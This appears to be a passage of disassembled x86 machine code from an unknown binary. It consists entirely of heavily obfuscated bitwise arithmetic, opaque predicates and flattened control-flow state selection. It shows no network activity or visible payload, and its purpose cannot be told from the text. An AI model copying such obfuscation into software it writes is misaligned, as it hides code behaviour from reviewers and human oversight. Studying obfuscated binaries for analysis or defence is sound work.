and edx, 0x8424889a
or edx, esi
xor edx, eax
mov esi, dword [ebp - 0x24]
mov eax, esi
and eax, 0x7cb6263d
mov ecx, dword [ebp - 0x14]
and esi, ecx
and ecx, 0x8349d9c2
or ecx, eax
xor ecx, 0x8349d9c2
or ecx, esi
mov esi, ecx
mov dword [ebp - 0x14], ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x6567dc81
mov edi, edx
and edi, 0x9a98237e
or edi, ecx
not esi
mov ebx, esi
and ebx, 0x712fe1ab
mov ecx, dword [ebp - 0x14]
and ecx, 0x8ed01e54
or ecx, ebx
xor edi, 0x9a98237e
xor ecx, 0x8ed01e54
or ecx, edi
and eax, 0xf26dbc41
and edx, 0xd9243be
or edx, eax
and esi, 0xf26dbc41
mov edi, dword [ebp - 0x14]
and edi, 0xd9243be
or edi, esi
mov eax, edi
xor eax, edi
not eax
and eax, edx
xor eax, edi
mov edx, eax
xor edx, 0xdfa9399
and edx, eax
not eax
mov esi, ecx
mov edi, eax
and edi, 0xdfa9399
or edx, edi
mov edi, ecx
or eax, ecx
not ecx
xor esi, 0xf2056c66
and esi, ecx
or ecx, 0xf2056c66
mov ebx, ecx
and ebx, 0x9960f923
and edi, 0x49a0298
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0x9960f923
and esi, 0x669f06dc
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, edx
xor esi, edx
not esi
and esi, ecx
xor esi, edx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x5f642e96
and esi, 0xa09bd169
or esi, ecx
xor esi, eax
xor esi, 0xa09bd169
or edx, eax
not edx
or edx, esi
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x840400
mov esi, edx
and esi, 0x28000158
or ecx, esi
xor ecx, 0x10
or esi, 0x80080000
mov eax, ebx
or eax, 0x108
and esi, 0x80080108
and ecx, 0x840410
or ecx, esi
and eax, 0x80080108
mov edi, edx
and edi, 0x40000086
or edi, eax
xor edi, ecx
mov ecx, edi
xor ecx, 0xc0080086
mov eax, ebx
and eax, 0xc08c059e
and edx, 0x3f73fa61
or edx, eax
mov eax, edi
xor eax, 0x3ff7ff79
xor ebx, edx
and ebx, edx
mov edx, ebx
not edx
xor edi, 0x80800006
and edi, ecx
or ecx, 0x8177d75f
mov esi, ecx
and esi, 0xc197818a
mov dword [ebp - 0x14], edx
or edx, eax
and eax, 0x16082820
or eax, esi
mov esi, edi
not esi
or ecx, esi
and esi, 0xe997818a
and edi, 0x80414
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov eax, ebx
xor eax, 0x7e8828a0
and eax, ebx
or ebx, 0x8177d75f
mov esi, ebx
and esi, 0xacf888d7
mov edi, dword [ebp - 0x14]
and edi, 0x52002020
or edi, esi
mov esi, eax
not esi
or ebx, esi
and esi, 0xacf888d7
and eax, 0x53077728
or eax, esi
xor eax, edi
not ebx
or ebx, eax
mov esi, ebx
xor esi, ebx
not esi
and esi, ecx
xor esi, ebx
mov ecx, edx
not ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0xb38b7747
and esi, 0x4c7488b8
or esi, edi
or eax, edx
and edx, 0xb38b7747
and ecx, 0x40040098
or ecx, edx
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
or edx, 0x3433c200
mov esi, eax
or esi, 0xc0000500
and esi, 0xf433c700
and ecx, 0xb403861
or ecx, esi
and edx, 0xf433c700
and eax, 0x8c009e
or eax, edx
xor eax, ecx
mov ecx, eax
xor ecx, 0x6e5218d6
and ecx, eax
not eax
mov edx, eax
and edx, 0x6e5218d6
or ecx, edx
xor ecx, 0x91ade729
or ecx, eax
xor ecx, 0xffffffff
setne bh
sete ah
cmp dword [0x10045904], 0xa
setge dl
setl cl
mov al, cl
and al, ah
mov ch, bh
and ch, dl
or ch, al
xor ch, 1
or ch, ah
xor ch, 1
mov al, dl
xor al, bh
or ah, cl
xor ah, 1
or ah, al
xor ah, 1
or ah, ch
mov al, ah
xor al, 1
and cl, ah
mov ch, al
and ch, dl
or ch, cl
mov cl, ch
xor cl, 1
and al, cl
and ch, ah
or ch, al
xor cl, ch
and cl, ch
mov ah, cl
mov al, bh
inc al
and bh, al
xor bh, 1
mov cl, bh
xor cl, al
or bh, al
xor bh, 1
or bh, cl
mov al, dl
xor al, bh
or bh, dl
and bh, al
mov bl, ah
xor bl, 1
mov al, bh
xor al, 1
mov dh, bh
and dh, al
mov ecx, ebx
and cl, ah
mov ch, bl
xor ch, cl
xor cl, 1
mov byte [ebp - 0x14], cl
mov dl, ah
or dl, cl
xor dl, 1
mov byte [ebp - 0x18], dl
or ch, dl
mov cl, ch
xor cl, 1
mov dl, bl
and dl, cl
and ch, ah
or ch, dl
xor ch, 1
or ch, cl
mov cl, ch
xor cl, 1
xor dh, 1
or dh, al
mov al, ah
xor al, cl
and cl, ah
mov dl, bl
and dl, ch
or dl, cl
and al, ah
xor al, 1
xor ch, bl
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov bl, ch
xor bl, 1
and bl, ch
xor bl, 1
mov al, ch
xor al, bl
or bl, ch
xor bl, 1
or bl, al
mov al, dl
xor al, 1
and al, bl
xor bl, 1
mov ecx, edx
xor cl, bl
and cl, dl
and bl, dl
xor dh, 1
or dh, bh
or bl, al
xor cl, 1
xor bl, 1
mov al, cl
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov ch, bl
xor ch, 1
and ch, bl
xor ch, 1
mov al, bl
xor al, ch
or ch, bl
mov cl, dh
xor cl, 1
xor ch, 1
or ch, al
mov al, dh
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, dh
mov cl, al
xor cl, 1
and cl, ch
xor ch, 1
and ch, al
or ch, cl
mov al, byte [ebp - 0x14]
mov dl, ah
xor al, ah
or al, byte [ebp - 0x18]
xor al, 1
mov ah, al
mov cl, al
xor ah, bh
mov al, ah
and al, bh
and ah, cl
xor al, 1
xor ah, 1
mov cl, al
xor cl, ah
or ah, al
xor ah, 1
or ah, cl
mov cl, dl
mov al, dl
xor al, bh
or bh, cl
xor bh, 1
or bh, al
xor bh, 1
or bh, al
xor bh, 1
mov al, ah
xor al, bh
or bh, ah
xor bh, 1
or bh, al
xor bh, 1
or bh, al
mov cl, bh
xor cl, 1
and cl, bh
xor cl, 1
mov al, bh
xor al, cl
or cl, bh
xor cl, 1
or cl, al
mov edx, ecx
xor dl, 1
mov eax, ecx
and al, dl
xor al, 1
or al, cl
xor al, 1
or al, dl
mov cl, ch
xor cl, 1
mov ah, ch
xor ah, al
mov dl, ah
xor dl, cl
and dl, ah
xor cl, al
or al, ch
and cl, ch
xor al, 1
or cl, al
mov eax, ecx
xor cl, dl
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xf299d80
mov esi, 0x5f6d7e18
cmovne eax, esi
test cl, 1
cmove eax, esi
test dl, 1
mov ecx, 0xf299d80
cmove eax, ecx
jmp 0x1000f9b0
mov eax, 0x6715482d
jmp 0x1000f9b0
mov eax, dword [0x10045900]
lea ecx, [eax + 1]
imul ecx, eax
mov dword [ebp - 0x18], ecx
mov eax, ecx
not eax
mov dword [ebp - 0x1c], eax
and ecx, 0x40c029ec
and eax, 0xbf3fd613
or eax, ecx
mov ecx, eax
xor ecx, 0x40000020
xor eax, 0x8c1dc402
and ecx, 0x73221231
and eax, 0x8cddedce
or eax, ecx
mov ecx, eax
xor ecx, 0x10200010
xor eax, 0x8881248e
and ecx, 0x147cc950
and eax, 0xeb8336af
or eax, ecx
mov ebx, eax
xor ebx, 0x61810022
xor eax, 0x4208840
and eax, 0x8e22becd
and ebx, 0x71dd4132
or ebx, eax
mov edi, ebx
xor edi, 0x82003e05
mov ecx, ebx
xor ecx, 0x71dd4132
mov eax, ecx
and eax, 0x5daa81ca
and edi, 0xa2557e35
or edi, eax
mov edx, edi
xor edx, 0xa2557e35
mov dword [ebp - 0x14], edx
mov eax, edi
xor eax, 0x7780fa8e
and eax, edx
mov esi, eax
not esi
mov edx, esi
and edx, 0x9de74a6
and eax, 0xf6218b59
or eax, edx
or ecx, 0x2a2a7b44
xor ebx, 0x84008009
or esi, ecx
and ecx, 0x9de74a6
and ebx, 0xd4018019
or ebx, ecx
xor ebx, eax
not esi
or esi, ebx
mov eax, esi
xor eax, 0x1804b02c
xor esi, 0x671a4bd3
mov ecx, esi
and ecx, 0x81fb4783
and eax, 0x7e04b87c
or eax, ecx
mov ecx, dword [ebp - 0x14]
or ecx, 0x4d303097
xor edi, 0x10008048
or esi, ecx
and ecx, 0x81fb4783
and edi, 0x32048868
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov eax, esi
not eax
mov ecx, esi
or ecx, 0xf4232
and ecx, 0x282f623b
and eax, 0x42001904
or eax, ecx
mov ecx, esi
xor ecx, 0x6a20390d
and ecx, esi
mov edx, ecx
not edx
or esi, edx
and edx, 0x282f623b
and ecx, 0xd7d09dc4
or ecx, edx
xor ecx, eax
mov edx, dword [ebp - 0x1c]
mov eax, edx
mov edi, dword [ebp - 0x18]
and eax, edi
not esi
or esi, ecx
not ecx
and ecx, 0x95dfc6f2
and esi, 0x6a20390d
or esi, ecx
mov dword [ebp - 0x14], esi
mov esi, edi
mov ecx, edi
and ecx, 0x422ccbb7
and edx, 0xbdd33448
or edx, ecx
mov ecx, eax
not ecx
or esi, ecx
mov ebx, esi
and ecx, 0x422ccbb7
and eax, 0xbdd33448
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov edx, ebx
not edx
mov ecx, ebx
xor ecx, 0x5de96889
and ecx, edx
mov eax, ecx
not eax
mov esi, eax
and esi, 0x7b366e1a
and ecx, 0x84c991e5
or ecx, esi
mov esi, edx
or esi, 0x5de96889
or eax, esi
and esi, 0x7b366e1a
mov edi, ebx
and edi, 0x80009164
or edi, esi
xor edi, ecx
not eax
or eax, edi
and ebx, 0x2f85f613
mov esi, edx
and esi, 0xd07a09ec
or esi, ebx
mov ecx, eax
xor ecx, 0x1091180e
xor esi, 0x9d4a397b
and edx, 0xb2cfcf68
or edx, esi
xor eax, 0xef26a7e1
mov esi, eax
and esi, 0x4d4ec411
and ecx, 0xb2b13bee
or ecx, esi
xor ecx, edx
xor ecx, 0xb2b13bee
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1bc84105
and ecx, 0xe437befa
or ecx, eax
mov ebx, ecx
xor ebx, 0xa484005
xor ecx, 0x202898
and ecx, 0x11a02998
and ebx, 0xee5fd667
or ebx, ecx
mov ecx, ebx
xor ecx, 0xee5fd667
xor ebx, 0x11a02998
mov eax, ecx
mov edi, ecx
mov dword [ebp - 0x24], ecx
and eax, 0x4ec42c16
mov edx, ebx
and edx, 0xb13bd3e9
or edx, eax
mov eax, edx
xor eax, 0xa108c389
xor edx, 0x4ec42c16
mov ecx, edx
mov esi, edx
and ecx, 0x10b71470
and eax, 0xef48eb8f
or eax, ecx
mov ecx, edi
and ecx, ebx
mov edx, ecx
not edx
or esi, edx
and edx, 0x10b71470
and ecx, 0xef48eb8f
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x14]
mov ecx, edx
not ecx
mov eax, ecx
mov edi, ecx
mov dword [ebp - 0x1c], ecx
and eax, 0x38a69191
mov ecx, edx
and ecx, 0xc7596e6e
or ecx, eax
mov eax, ecx
xor eax, edx
and eax, ecx
mov esi, ecx
xor esi, edi
and esi, ecx
mov ecx, dword [ebp - 0x18]
mov edx, ecx
not edx
mov dword [ebp - 0x20], edx
and edx, 0x76cd396c
and ecx, 0x8932c693
or ecx, edx
mov edx, ecx
xor edx, 0x8932c693
xor ecx, 0x22c92824
and ecx, 0xabd9a8b5
mov edi, edx
and edi, 0x5426574a
or edi, ecx
xor edi, 0x6c80c6db
and edx, 0xc7596e6e
or edx, edi
mov edi, eax
xor edi, 0x5b6468b6
and edi, eax
mov ecx, eax
not ecx
mov eax, ecx
and eax, 0x5b6468b6
or edi, eax
mov eax, esi
not eax
or ecx, eax
and eax, 0x5b6468b6
and esi, 0xa49b9749
or esi, eax
mov eax, esi
xor eax, esi
not eax
and eax, edi
xor eax, esi
mov esi, eax
not esi
mov edi, esi
and edi, 0x7ce3aa22
and eax, 0x831c55dd
or eax, edi
mov edi, ecx
not edi
or esi, ecx
and ecx, 0x7ce3aa22
and edi, 0x831c55dd
or edi, ecx
xor edi, eax
not esi
or esi, edi
mov ecx, edx
not ecx
mov edi, dword [ebp - 0x24]
or edi, 0x38a69191
mov eax, ecx
xor eax, edi
and eax, ecx
and edx, 0x4f7612c9
and ecx, 0xb089ed36
or ecx, edx
and edi, 0x4f7612c9
and ebx, 0x80096c26
or ebx, edi
xor ebx, ecx
or ebx, eax
mov edi, ebx
not edi
mov edx, ebx
xor edx, 0x99ac94db
and edi, edx
and edx, ebx
mov ebx, esi
not ebx
mov eax, esi
xor eax, 0x99ac94db
and eax, esi
or esi, 0x66536b24
mov ecx, esi
and ecx, 0x54cca477
and ebx, 0x89201088
or ebx, ecx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0x54cca477
and eax, 0xab335b88
or eax, ecx
xor eax, ebx
not esi
or esi, eax
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x26f8f43d
and edi, 0xd9070bc2
or edi, eax
mov eax, edx
not eax
or ebx, eax
and eax, 0x26f8f43d
and edx, 0xd9070bc2
or edx, eax
xor edx, edi
not ebx
or ebx, edx
xor ebx, esi
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
and ecx, eax
mov esi, dword [ebp - 0x20]
or eax, esi
not eax
and esi, dword [ebp - 0x1c]
or esi, ecx
or esi, eax
mov ecx, esi
not ecx
mov eax, ebx
not eax
and ecx, eax
or eax, esi
not eax
and esi, ebx
or esi, ecx
or esi, eax
mov eax, esi
not eax
mov edx, esi
mov ebx, esi
and edx, 0x7a1231a
mov ecx, eax
and ecx, 0xf85edce5
or ecx, edx
mov edx, ecx
xor edx, 0x6a00118
xor ecx, 0x404e9045
and ecx, 0x414fb247
and edx, 0xbeb04db8
or edx, ecx
mov dword [ebp - 0x20], edx
and eax, 0x5584b111
and ebx, 0xaa7b4eee
or ebx, eax
mov esi, ebx
xor esi, 0xaa7b4eee
xor ebx, 0x45041110
and ebx, 0xed765554
mov eax, esi
and eax, 0x1289aaab
or eax, ebx
xor eax, 0x4a975c8f
and esi, 0xa7e109db
or esi, eax
mov eax, esi
not eax
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov eax, esi
and eax, 0x32971e8e
mov ebx, esi
xor ebx, 0xcd68e171
and ebx, ecx
or ebx, eax
xor edx, 0xbeb04db8
mov ecx, edx
or ecx, 0x581ef624
mov dword [ebp - 0x18], ecx
not ecx
mov eax, ecx
or eax, 0x84600041
and eax, 0xa6e000cb
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x14], edi
and dword [ebp - 0x14], 0x11800
add dword [ebp - 0x14], eax
or edx, 0x2280008a
mov edi, dword [ebp - 0x20]
xor edi, 0x1000000
and edx, 0xa6e000cb
and edi, 0x1000110
or edi, edx
xor edi, ebx
xor edi, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x26210919
mov edx, dword [ebp - 0x18]
and edx, 0xd1c046e6
or edx, eax
xor edi, 0x10160604
mov eax, dword [ebp - 0x1c]
or ecx, eax
and eax, 0x2e3fb919
and esi, 0xd1c046e6
or esi, eax
xor esi, edx
not ecx
or ecx, esi
not ecx
or ecx, edi
mov edi, ecx
not edi
mov eax, edi
and eax, 0x35d56f2c
mov esi, ecx
and esi, 0xca2a90d3
or esi, eax
mov edx, esi
xor edx, 0x80013
xor esi, 0x4000420
or edi, 0x42284a0
or esi, 0x68903940
and esi, 0x6cb2bde0
and edx, 0x110c4213
or edx, esi
and edi, 0x6cb2bde0
mov ebx, ecx
and ebx, 0x8241000c
or ebx, edi
xor ebx, edx
mov ecx, ebx
not ecx
mov edx, ebx
xor edx, 0x5ac0d7e6
and edx, ebx
mov eax, ecx
and eax, 0xb1dbe191
mov esi, ebx
and esi, 0x4e241e6e
or esi, eax
mov eax, ecx
and eax, 0xe1b82db6
mov edi, ebx
and ebx, 0x1e47d249
or ebx, eax
xor esi, 0xb1dbe191
or esi, ecx
xor ebx, 0xb490a0df
or ebx, ecx
mov dword [ebp - 0x14], ebx
and ecx, 0x2809386
and edi, 0x58404460
or edi, ecx
mov eax, edi
xor eax, 0x58400440
xor edi, 0xa7bfbb9f
mov ecx, edi
and ecx, 0x26a253b6
and eax, 0x58408440
or eax, ecx
mov ecx, edx
not ecx
or edi, ecx
and ecx, 0x26a253b6
and edx, 0xd95dac49
or edx, ecx
xor edx, eax
not edi
or edi, edx
mov eax, edi
xor eax, 0x24322819
xor edi, 0x508013a6
and eax, 0x2e72ec59
and edi, 0xd18d13a6
or edi, eax
mov ecx, edi
xor ecx, 0xd18d13a6
xor edi, 0x22304840
mov eax, ecx
xor eax, esi
and eax, ecx
and edi, 0x23345842
and ecx, 0xdccba7bd
or ecx, edi
xor ecx, esi
xor ecx, 0xdccba7bd
or ecx, eax
mov eax, ecx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x10008529
and eax, 0x45280840
or eax, edx
mov ebx, ecx
mov edi, ecx
xor eax, 0x45280840
and ebx, 0xaad77296
or ebx, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x30249d3f
and ebx, 0xcfdb62c0
or ebx, edx
mov edx, esi
and edx, 0xfffffffe
mov dword [ebp - 0x1c], ecx
and ecx, 1
or ecx, edx
not ecx
or ecx, esi
mov dword [ebp - 0x18], ecx
and edi, 0x30249d3f
and esi, 0xcfdb62c0
or esi, edi
xor esi, ebx
xor eax, esi
and eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xa9f4f66c
mov edx, eax
and eax, 0x560b0993
or eax, esi
mov esi, dword [ebp - 0x14]
mov edi, esi
not edi
xor eax, esi
xor eax, 0x560b0993
and eax, edi
mov ebx, esi
and esi, 0xf3ee91ab
mov dword [ebp - 0x14], esi
mov esi, edi
and edi, 0xc116e54
add edi, dword [ebp - 0x14]
xor edi, 0xf3ee91ab
or edi, ecx
and ecx, 0x9fcf995a
and edx, 0x603066a5
or edx, ecx
and ebx, 0x414f45e2
and esi, 0xbeb0ba1d
or esi, ebx
xor edx, 0x603066a5
xor esi, 0xbeb0ba1d
or esi, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xdc524c82
and eax, 0x23adb37d
or eax, edx
xor eax, edi
or ecx, edi
xor eax, 0x23adb37d
not ecx
or ecx, eax
mov eax, esi
not eax
mov edx, ecx
not edx
and ecx, esi
or esi, edx
and edx, eax
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xf1b7b1c1
and edx, 0xe484e3e
or edx, ecx
xor edx, esi
xor edx, 0xe484e3e
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x98f362d8
mov edi, eax
and eax, 0x670c9d27
or eax, edx
or edi, 0x670c9d27
xor ecx, eax
and ecx, eax
mov esi, ecx
and ecx, edi
not edi
not esi
mov edx, edi
xor edx, esi
and edx, edi
and esi, edi
or esi, ecx
mov eax, dword [ebp - 0x1c]
mov ecx, eax
xor ecx, 1
and ecx, eax
or esi, edx
mov dword [ebp - 0x14], esi
or eax, 0xfffffffe
mov edx, ecx
not edx
mov edi, eax
or eax, edx
and edx, 0x4d3dc619
and ecx, 0xb2c239e6
or ecx, edx
and edi, 0x4d3dc619
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
mov edx, dword [ebp - 0x18]
and eax, edx
not edx
not ecx
mov edi, edx
xor edi, ecx
and edi, edx
and ecx, edx
or ecx, eax
or ecx, edi
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x60500023
and edx, 0xf8d6f967
mov edi, eax
and edi, 0x7280018
or edi, edx
mov ebx, eax
or ebx, 0x9886f944
and ebx, 0xf8d6f967
mov edx, ecx
and edx, 0x10680
or edx, ebx
xor edx, edi
mov edi, edx
xor edi, 0x200000a0
xor edx, 0x9faef95c
and edi, 0xbd2830e0
mov ebx, edx
and ebx, 0x42d7cf1f
or ebx, edi
xor ebx, 0x6c596db8
and edx, 0xd1715d58
or edx, ebx
mov edi, eax
and edi, 0x2e8ea2a7
and ecx, 0xd1715d58
or ecx, edi
mov edi, edx
not edi
xor eax, ecx
and eax, ecx
mov ebx, eax
not ebx
mov ecx, edi
xor ecx, ebx
and ecx, edi
and edx, 0xebd23a28
and edi, 0x142dc5d7
or edi, edx
and ebx, 0xebd23a28
and eax, 0x142dc5d7
or eax, ebx
xor eax, edi
or eax, ecx
mov esi, eax
xor esi, 0xd1715d58
mov edi, eax
xor edi, 0x2e8ea2a7
mov ebx, esi
or ebx, 0x8297dc91
mov ecx, ebx
and ecx, 0x989878d1
mov edx, edi
and edx, 0x6560032e
or edx, ecx
xor eax, 0xac197e36
and eax, esi
mov ecx, eax
not ecx
or ebx, ecx
and ecx, 0x989878d1
and eax, 0x6767872e
or eax, ecx
xor eax, edx
not ebx
or ebx, eax
mov eax, dword [ebp - 0x14]
mov edx, eax
xor edx, 0xcddbefb0
xor ebx, 0x8297dc91
and edi, 0xb9a24a6a
and esi, 0x465db595
or esi, edi
xor esi, 0x465db595
or esi, ebx
mov ebx, esi
mov esi, eax
xor esi, 0x3224104f
mov eax, esi
and eax, edx
mov ecx, esi
and ecx, 0x4b869476
mov edi, edx
and edx, 0xb4796b89
or edx, ecx
not edx
or edx, esi
and esi, 0xc4191001
and edi, 0x3be6effe
or edi, esi
xor edi, 0x3be6effe
or eax, edi
mov ecx, eax
not ecx
mov dword [ebp - 0x18], ecx
and ecx, 0x869036
mov esi, eax
and esi, 0x4b000440
or esi, ecx
mov ecx, esi
xor ecx, 0x8000000
or ecx, 0x90004280
xor esi, 0x20034
and esi, 0x43020474
and ecx, 0x9884d282
or ecx, esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x3fe988a5
and ebx, 0xc016775a
or ebx, ecx
xor ebx, 0x8b90e32c
mov edi, ebx
xor edi, esi
and edi, ebx
mov ebx, dword [ebp - 0x1c]
and dword [ebp - 0x18], ebx
and ebx, 0x84512380
mov ecx, eax
xor ecx, esi
and ecx, eax
mov dword [ebp - 0x1c], ecx
and eax, esi
mov dword [ebp - 0x20], eax
mov eax, esi
and eax, 0x30284809
or eax, ebx
mov esi, eax
xor esi, 0x20284801
or esi, 0x4b820054
xor eax, 0x412380
and eax, 0x10412388
and esi, 0xefba4855
or esi, eax
mov ecx, dword [ebp - 0x14]
mov eax, ecx
xor eax, 0x677b2d7d
xor ecx, eax
xor ecx, 0x9884d282
and ecx, edx
xor ecx, eax
or eax, edx
not eax
or ecx, eax
mov dword [ebp - 0x14], ecx
mov eax, edi
xor eax, 0x7cdf6a59
mov edx, eax
and eax, edi
mov ebx, edi
not ebx
and edx, ebx
mov ecx, edx
not ecx
mov edi, ecx
and edi, 0x9b5a5464
and edx, 0x64a5ab9b
or edx, edi
mov edi, eax
not edi
or ecx, edi
and edi, 0x9b5a5464
and eax, 0x64a5ab9b
or eax, edi
xor eax, edx
not ecx
or ecx, eax
mov eax, esi
xor eax, 0x24084000
or eax, 0x10010a0
mov edx, esi
xor edx, 0x450008
and eax, 0x350872a0
and edx, 0xd70849
or edx, eax
mov eax, esi
xor eax, 0x1045b7aa
mov edi, eax
or edi, 0x3c086210
xor esi, 0x80200000
and edi, 0x3d0872b0
and esi, 0x80200100
or esi, edi
xor esi, edx
xor esi, ecx
or eax, ebx
mov ecx, esi
xor ecx, 0x40000000
xor esi, 0xbfffffff
mov edx, esi
and edx, 0x1953b05b
and ecx, 0xe6ac4fa4
or ecx, edx
or esi, eax
and eax, 0xbd7bfbdb
xor eax, ecx
xor eax, 0xa4284b80
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x31000e0d
and esi, 0xcefff1f2
or esi, ecx
mov ecx, dword [ebp - 0x14]
xor esi, ecx
or eax, ecx
xor esi, 0x31000e0d
and esi, ecx
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x1fbd13b6
and esi, 0xe042ec49
or esi, ecx
xor esi, eax
or edi, eax
xor esi, 0xe042ec49
not edi
or edi, esi
mov edx, dword [ebp - 0x20]
or edx, dword [ebp - 0x18]
or edx, dword [ebp - 0x1c]
mov ecx, edx
not ecx
mov eax, edx
and eax, 0xec8b8ad3
and ecx, 0x1374752c
or ecx, eax
xor ecx, 0x1374752c
or ecx, edx
mov edx, edi
mov ebx, edi
xor ebx, 0x78be2ca8
and ebx, edi
mov eax, edi
or eax, 0x8741d357
not edx
mov esi, eax
and esi, 0x15411ecc
mov edi, edx
and edi, 0x68be2020
or edi, esi
mov esi, ebx
not esi
or eax, esi
and esi, 0x15411ecc
and ebx, 0xeabee133
or ebx, esi
xor ebx, edi
mov esi, ecx
not eax
or eax, ebx
mov edi, ecx
or edx, ecx
not ecx
xor esi, 0x8741d357
and esi, ecx
or ecx, 0x8741d357
mov ebx, ecx
and ebx, 0xa94be5bd
and edi, 0x50b40800
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0xa94be5bd
and esi, 0x56b41a42
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
xor esi, ecx
not esi
and esi, eax
xor esi, ecx
not edx
or edx, esi
mov esi, edx
not esi
mov ecx, esi
and ecx, 0xfbf4d2b
mov eax, edx
and eax, 0xf040b2d4
or eax, ecx
mov ecx, eax
xor ecx, 0xc0002090
xor eax, 0x7004c2b
and ecx, 0xc8bf2190
and eax, 0x3740de6f
or eax, ecx
mov ecx, eax
xor ecx, 0x253c2851
xor eax, 0x3740de6f
and eax, ecx
mov ecx, edx
and ecx, 0xe47b899a
mov edi, esi
and edi, 0x1b847665
or edi, ecx
xor edi, 0x9f8805b
mov ecx, esi
and ecx, 0xed8309c1
or ecx, edi
mov ebx, ecx
not ebx
mov edi, eax
not edi
and ebx, edi
or edi, ecx
and ecx, eax
not edi
or ecx, ebx
or ecx, edi
mov eax, ecx
not eax
mov edi, eax
and edi, 0x8ade1974
mov ebx, ecx
and ebx, 0x7521e68b
or ebx, edi
mov edi, ebx
xor edi, 0x20020a
xor ebx, 0x81000
or ebx, 0xc5010941
and ebx, 0xd509fd41
and edi, 0x274023e
or edi, ebx
or eax, 0x1008f400
and eax, 0xd509fd41
and ecx, 0x28820080
or ecx, eax
xor ecx, edi
mov eax, ecx
not eax
mov edi, ecx
or edi, 0x85041958
and edi, 0xc58e5d59
and eax, 0x1a4182a0
or eax, edi
mov edi, ecx
xor edi, 0x5acbc6a1
and edi, ecx
mov ebx, edi
not ebx
or ecx, ebx
and ebx, 0xc58e5d59
and edi, 0x3a71a2a6
or edi, ebx
xor edi, eax
not ecx
or ecx, edi
not edi
and edi, 0xa534395e
and ecx, 0x5acbc6a1
or ecx, edi
mov eax, ecx
not eax
mov edi, eax
and edi, 0x22813a75
and eax, ecx
and ecx, 0xdd7ec58a
or ecx, edi
mov edi, ecx
xor edi, 0x94724502
xor ecx, 0x22813a75
mov ebx, ecx
and ebx, 0x498ca089
and edi, 0xb6735f76
or edi, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x498ca089
and eax, 0xb6735f76
or eax, ebx
xor eax, edi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edi, eax
and edi, 0xf09c0a6f
and ecx, 0xf63f590
or ecx, edi
xor ecx, 0xf63f590
or ecx, eax
mov eax, esi
and eax, 0x775cc20b
mov ebx, edx
and ebx, 0x88a33df4
or ebx, eax
mov eax, ebx
xor eax, 0x88a33df4
and esi, 0xe46dc033
and edx, 0x1b923fcc
or edx, esi
mov edi, edx
xor edx, 0xe46dc033
and edx, eax
mov esi, ecx
not esi
xor ebx, 0x775cc20b
xor edi, 0x1b923fcc
and edi, ebx
or edx, edi
xor ebx, edx
and ebx, edx
mov eax, esi
and eax, 0x77957979
mov edi, ecx
and edi, 0x886a8686
or edi, eax
mov eax, ebx
not eax
mov dword [ebp - 0x14], eax
and eax, 0x103e7e9b
mov edx, dword [ebp - 0x14]
and edx, ebx
and ebx, 0xefc18164
or ebx, eax
xor ebx, 0xefc18164
or ebx, edx
mov edx, edi
xor edx, 0x77957979
mov dword [ebp - 0x1c], edx
xor edi, 0x886a8686
mov dword [ebp - 0x18], edi
mov eax, edi
and eax, 0x7855b5be
and edx, 0x87aa4a41
or edx, eax
mov eax, ecx
and eax, 0x8b7493f9
and esi, 0x748b6c06
or esi, eax
xor esi, 0x222de0cd
xor ecx, esi
and ecx, esi
mov dword [ebp - 0x20], ebx
mov edi, ebx
not edi
mov eax, edi
mov dword [ebp - 0x24], edi
and eax, 0x56a68ccb
mov esi, ebx
and esi, 0xa9597334
or esi, eax
mov eax, esi
xor eax, edi
and eax, esi
mov edi, eax
xor edx, 0xd10cc68a
or edx, dword [ebp - 0x18]
mov eax, edx
not eax
mov esi, ecx
not esi
mov ebx, eax
xor ebx, esi
and ebx, eax
and edx, 0xefebfd6
and eax, 0xf1014029
or eax, edx
and esi, 0xefebfd6
and ecx, 0xf1014029
or ecx, esi
xor ecx, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0x7fd20172
and ebx, 0x802dfe8d
or ebx, eax
mov eax, ecx
not eax
or edx, eax
and eax, 0x7fd20172
and ecx, 0x802dfe8d
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x30], edi
mov esi, edi
not esi
mov eax, esi
and eax, 0xef550c24
